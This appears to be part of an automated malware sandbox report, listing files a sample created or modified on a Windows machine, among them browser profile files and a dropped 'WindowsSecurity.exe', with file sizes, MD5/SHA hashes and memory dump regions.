e66f01e2606583bd6fc8114282d05d4d6847eb93a26682a978404be9d8b5aa0bf84ac654d895f3c9bc23ca16df727d38bd46d3cacf40a30c59a2c4f4a9b84fc7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
7d515f93f63a20e053ba3c0cd9de1bfc

SHA1
7b6bd62a9b8f4906978ad6b253dcee18b6ca5978

SHA256
dca8be61841798e579f99235ff229d265dbd92db8a5c080727db56a99b0542c9

SHA512
59f610ff108e5ad037b89dbbc80e61df73cf59ce5d3af1339b28130d4a7d7681d25ecf6befbad531ebb36500a2a0730d1dc9b2607e4e3e25484ab2d478da8016

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
db8b454db1a37623b671f419dcedde2e

SHA1
e03cc552b07564d2ffd8edfc188b98d73cb36680

SHA256
c7730bcbe1b03c71fe912261b1f2c7b5fed57b9917136169aba87a26e6e7df14

SHA512
015a5a1352efbda91c9e00c54076e38f4b2c622d7ef4b4f0fa3392d36778b7599ad24b76d1f8cc08c55f77d2e4fda7e9fc153668fdac2407f338d32607afc99c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
be2651d1cb9ed2ab67395fddd99e6572

SHA1
2a1b63b37d8f9aeb64a4c19a93f76d4bf14afcb1

SHA256
b6d570c420d7936db12bee50e322aeebfc418c16684d0847ca8a210f9dbac1fb

SHA512
12c35b3f157561a9e6cd8c26a031677581e70a47f0d33605089c6bef433fec724592d7f328b745c4a731a99743c892624afe6cacaf3521aaa54a19f380197a4c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
0d4628314614cce4c957793059e79a30

SHA1
aca567406eb1f2ec717746323fc8d55c0987c5c3

SHA256
4daf24a0478205571024d28c3d2305c0c88e300056898f3110f5b99198711c91

SHA512
eec9c6e66d6cd32c4d51391b097d78a0874ba97b9b4d37837b27216efba064a5c249d3be96e413c794a7e68b4548f5e4832f9dff05c1ff389aa11053cca37fda

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
cde44cd89471cfbe10f3498aca74d709

SHA1
7b25ea3e8444350a8f7508912ad591d90f280b9a

SHA256
82b14319170ec80d5fbf0fa484e26704b348a80c5a38e2789c061813adac3183

SHA512
d977bc1213be6b5c76fcb7222c065f8751c7d6b55537f50bb2ec3d85bd160110a1088ed7784a7cb26d8862017b2857b5c93fa717dc16503ced02f92088130cca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ad2bfa1a4d41b013c87f989ed707fcf9

SHA1
f5ca379ca812355bab599bdf2111ce7be41f93ea

SHA256
f66434d041887e7d6593a66e8c609e37ddf35784c87e3bed56fc4e69d96ae6ea

SHA512
fe3e615228f8e0ad8944520a9da5ee8a29258349e9d4b1066ca0e28da07c922a12109f5a534af6257c562cbf16d721e3a23ede82351ed8fb0327d203c175238e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
cc19bcff372d20459d3651ba8aef50e7

SHA1
3c6f1d4cdd647864fb97a16b1aefba67fcee11f7

SHA256
366473e774d8976c7fd4dc582220666fb61a4feb3f7c95e69b2a68ad9e446ec9

SHA512
a0e360ca4b6e874fd44612bf4b17f3722c0619da4f6bade12a62efadae88c2d33460114eaafa2bc3fb1cef5bea07e745b8bee24f15d0cacaff5f4a521b225080

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_s52dnicc.ok5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 903684.crdownload

Filesize
90KB

MD5
ed1976231141b98cbf7001c77ccdf957

SHA1
a3d66d2b03a65956734049653fca27c144609705

SHA256
d8c24140a467028c9ece7ab4eb5babacb624a21109795e9f3e5cc665690ca8b6

SHA512
d192bf835da1b5fceba8cec45bdcde91a4880db569003527b9948f165595fcf307470fc0692de3c8e8e2322e9efadee8204825648df370788f224b531bfc3531

Download Submit
memory/5196-92-0x000001D4784C0000-0x000001D4784D8000-memory.dmp

Filesize
96KB

Download
memory/5196-177-0x000001D478AB0000-0x000001D478ABC000-memory.dmp

Filesize
48KB

Download
memory/5196-91-0x000001D4784B0000-0x000001D4784C2000-memory.dmp

Filesize
72KB

Download
memory/5196-90-0x000001D478250000-0x000001D478258000-memory.dmp

Filesize
32KB

Download
memory/5196-87-0x000001D478260000-0x000001D478282000-memory.dmp

Filesize
136KB

Download
memory/5468-190-0x000002064AA50000-0x000002064AA94000-memory.dmp

Filesize
272KB

Download
memory/5468-191-0x000002064AD80000-0x000002064ADF6000-memory.dmp

Filesize
472KB

Download